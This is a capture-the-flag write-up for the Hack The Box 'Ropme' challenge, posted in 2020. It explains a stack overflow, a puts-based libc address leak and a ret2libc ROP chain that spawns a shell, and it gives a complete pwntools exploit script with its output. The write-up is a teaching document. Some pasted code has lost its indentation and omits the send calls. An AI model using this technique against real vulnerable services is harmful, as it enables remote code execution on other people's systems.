Hack The Box / Challenges / Pwn / Ropme

This is going to be my first ROP type of challenge writeup. Sorry for the verbose level.

Downloading the binary and disassembling it:

gef➤  uf main
Dump of assembler code for function main:
   0x0000000000400626 <+0>:   push   rbp                      <-- esp = sp0 - 8
   0x0000000000400627 <+1>:   mov    rbp,rsp                  <-- rbp = sp0 - 8 
   0x000000000040062a <+4>:   sub    rsp,0x50                 <-- esp = sp0 - 8 - 80
   0x000000000040062e <+8>:   mov    DWORD PTR [rbp-0x44],edi
   0x0000000000400631 <+11>:  mov    QWORD PTR [rbp-0x50],rsi
   0x0000000000400635 <+15>:  mov    edi,0x4006f8
   0x000000000040063a <+20>:  call   0x4004e0 <[email protected]>
   0x000000000040063f <+25>:  mov    rax,QWORD PTR [rip+0x200a0a]        # 0x601050 <[email protected]@GLIBC_2.2.5>
   0x0000000000400646 <+32>:  mov    rdi,rax
   0x0000000000400649 <+35>:  call   0x400510 <[email protected]>
   0x000000000040064e <+40>:  mov    rdx,QWORD PTR [rip+0x200a0b]        # 0x601060 <[email protected]@GLIBC_2.2.5>
   0x0000000000400655 <+47>:  lea    rax,[rbp-0x40]           <-- rax = (sp0 - 8) - 64 = sp0 - 72
   0x0000000000400659 <+51>:  mov    esi,0x1f4
   0x000000000040065e <+56>:  mov    rdi,rax                  <-- rdi = rax = sp0 - 72
   0x0000000000400661 <+59>:  call   0x400500 <[email protected]>     
   0x0000000000400666 <+64>:  mov    eax,0x0
   0x000000000040066b <+69>:  leave                           <-- mov rsp,rbp ; pop rbp  
   0x000000000040066c <+70>:  ret    
End of assembler dump.

The assembly code is simple enough for manual analysis, the ret instruction return address is stored at offset of 72 bytes.

We can confirm with the following payload:

$ python -c "print('a' * 72 + 'b' * 8)"

And running gdb/gef:

$ gdb ./ropme 
gef➤  run
Starting program: /home/ropme/ropme 
ROP me outside, how 'about dah?

Program received signal SIGSEGV, Segmentation fault.
 →   0x40066c <main+70>        ret    
 [!] Cannot disassemble from $PC
 ────────────────────────────────────────────────────────────── threads ────
 [#0] Id 1, Name: "ropme", stopped 0x40066c in main (), reason: SIGSEGV
 ──────────────────────────────────────────────────────────────── trace ────
 [#0] 0x40066c → main()
 0x000000000040066c in main ()

It tried to return to a bad address, let's confirm it is the one expected in the payload:

gef➤  dq $rsp l2
0x00007fffffffe408│+0x0000   0x6262626262626262   
0x00007fffffffe410│+0x0008   0x000000000004000a

Confirmed. Now this is a ROP challenge so it is expected that the stack is not executable, forbidding us to use a simpler buffer overflow exploit:

gef➤  checksec
[+] checksec for '/home/ropme/ropme'
Canary                        : ✘ 
NX                            : ✓    <----- stack pages non-executable
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

The short explanation is that we're going to use "gadgets" which are pieces of code we want to execute to perform a specific instruction. These gadgets are located in executable pages of the binary in memory, this includes: imported libraries, the code segment, etc.

In the end I assume we need to get a shell and that all TCP inbound is being forwarded to the program stdin, and the program stdout is being forwarded to the TCP outbound. A common shellcode used in buffer overflow exploits is something like:

mov edx,0
mov esi,0
lea rdi, ... pointer to "/bin/sh"
call execve

However, using execve requires us to pass three arguments, if we used system() instead, the code would look like this:

lea rdi, ... pointer to "/bin/sh"
xor eax, eax
sub rsp, 8    <-- due to calling convention?, might not be necessary
call system

As can be seen in the manpages, the system function handles IO redirection, forking and makes the call to execl:

execl("/bin/sh", "sh", "-c", command, (char *) 0);

For this to happen the string /bin/sh needs to exist in libc code, for that reason it is used in ROP payloads. With this information we could think of a potential payload:

0                        56                              64                     72
< ... filler bytes ... >  < address of "pop rdi, ret" >  < "/bin/sh" address >  < address of system >

However we've three addresses here:

system       0x00007ffff7a79480 <- inside libc6
"/bin/sh"    0x00007ffff7b9bc19 <- inside libc6
pop rdi;ret  0x00000000004006d3 <- inside ropme binary space

..but we don't know the address of libc6 system function and the /bin/sh string, this depends on the libc binary version, it is not a static address across all libc versions.

To overcome this problem we first need to know which libc6 version is being used. One hint for the libc6 version can actually be found in the binary comment section:

$ readelf ropme --string-dump=27

String dump of section '.comment':
  [     0]  GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609

It seems the binary was built in a Ubuntu 16.04.4 and we can find more information about the gcc package in:


This seems to be the exact match of the gcc package. It depends on libc6 version >= 2.15 which if we open the link leads to:


This page contains all libc6 versions available for this Ubuntu version, they are all from two major versions of libc6: 2.21-0ubuntuX and 2.23-0ubuntuX. This narrows down further our search, however there is a faster, more common way of solving this problem: using the location of a single or more functions and compare with existing built library versions.

We know that three functions are imported in ropme: puts, fgets and fflush. The idea is to call puts to print the address of puts function. Our ROP chain would look like:

< filler bytes > < pop rdi > < puts func GOT > < puts >

This results in:

puts 0x7f46623d5690

And plugging this in libc.blukat.me results in two matches:

  • First library with name libc6_2.23-0ubuntu10_amd64
  • Second library with name libc6_2.23-0ubuntu11_amd64

This is aligned with our results obtained previously, it is using version 2.23-0ubuntuX. We can try narrow the results by also retrieving other imported function location, however, trying with 2 additional functions led to the same result.

Now, having the libc6 version and binary, we can know the addresses of system function and the string /bin/sh present in the libc6 binary. The base address of libc6 is calculated using the found function address and subtracting the offset of the function from the local copy.

$ nm -D libc6_2.23-0ubuntu10_amd64.so  | fgrep "W puts"
000000000006f690 W puts

Then our table of symbols is updated:

             offset     v.addr.
puts        0006f690   0x7f425c62a690  (base = 0x7f425c62a690 - 0x0006f690 = 0x7F425C5BB000)
system      00045390   base + 00045390 = 0x7f425c600390  
"/bin/sh"   0018cd57   base + 0018cd57 = 0x7f425c747d57
pop rdi;ret            004006d3

Note, pop rdi; ret gadget can be found with a tool like ropper. In detail, we're searching for these opcodes in executable portions of the binary and then calculate the corresponding virtual address.

With this information we've all the information to build our final ROP chain payload:

0                 72           80           88
< filler bytes >   < pop rdi >  < /bin/sh >  < system >

In python:

def p64(sn):
    return bytes.fromhex(sn)[::-1]
lib_base = 0x7F425C5BB000
payload = bytes('a' * 72,encoding='utf8') + p64(hex(0x004006d3)) + p64(hex(lib_base + 0x0018cd57)) + p64(hex(lib_base + 00045390))

Now since for each run we might get a different base address for the libc6 library, it is important to keep the program running after we receive the puts function GOT bytes. For that, we can simply add a gadget to our ROP chain to call the main function again.

Instead of doing this in pure python code, we can use pwntools library to help us, after knowing in detail what we're doing! I've used the great template from hacktricks site, just simplified and fixed some stuff to work in my python version.

from __future__ import print_function
from pwn import * # Import pwntools

libc = ELF("libc6_2.23-0ubuntu10_amd64.so")
p = remote('docker.hackthebox.eu',31894)
local_bin = "./ropme"
elf = ELF(local_bin)
rop = ROP(elf)

OFFSET = bytes("A"*72,encoding='utf8')
PUTS_PLT = elf.plt['puts'] 
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"

log.info("Function 'main' address: 0x%08x" % MAIN_PLT)
log.info("Function 'puts' plt address: 0x%08x" % PUTS_PLT)
log.info("Gadget 'pop rdi; ret' address: 0x%08x" % POP_RDI)

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
print(p.clean()) # clean socket buffer (read all and print)

#Parse leaked address
received = p.recvline().strip()
receiveds = "".join(["%02x" % b for b in received])
log.info("Received: %s" % receiveds)
leak = u64(received.ljust(8, bytes("\x00",encoding='utf8')))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))

#If not libc yet, stop here
if libc != "":
    libc.address = leak - libc.symbols[func_name] #Save libc base
    log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")

# For some reason (alignment stuff?) our /bin/sh is off by 64 bytes, if that happens, we subtract 64 bytes.
BINSH = next(libc.search(bytes("/bin/sh",encoding='utf8'))) - 64
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

rop2s = "".join(["%02x" % b for b in rop2])
log.info("rop2 is %s" % rop2s)


# Interact with the shell #####
p.interactive() #Interact with the conenction

The output is:

$ python3 solve.py 
[*] '/home/ropme/libc6_2.23-0ubuntu10_amd64.so'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
[+] Opening connection to docker.hackthebox.eu on port 31894: Done
[*] '/home/ropme/ropme'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './ropme'
[*] Function 'main' address: 0x00400626
[*] Function 'puts' plt address: 0x004004e0
[*] Gadget 'pop rdi; ret' address: 0x004006d3
[*] puts GOT @ 0x601018
b"ROP me outside, how 'about dah?\n"
[*] Received: 9076a309727f
[*] Leaked libc address,  puts: 0x7f7209a37690
[*] libc base @ 0x7f72099c8000
[*] bin/sh 0x7f7209b54d17 
[*] system 0x7f7209a0d390 
[*] rop2 is 414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141d306400000000000174db509727f000090d3a009727f00003020a009727f0000
[*] Switching to interactive mode
$ cat flag.txt


  • https://www.slideshare.net/inaz2/rop-illmatic-exploring-universal-rop-on-glibc-x8664-en-41595384

  • https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address

jemos / May, 14 2020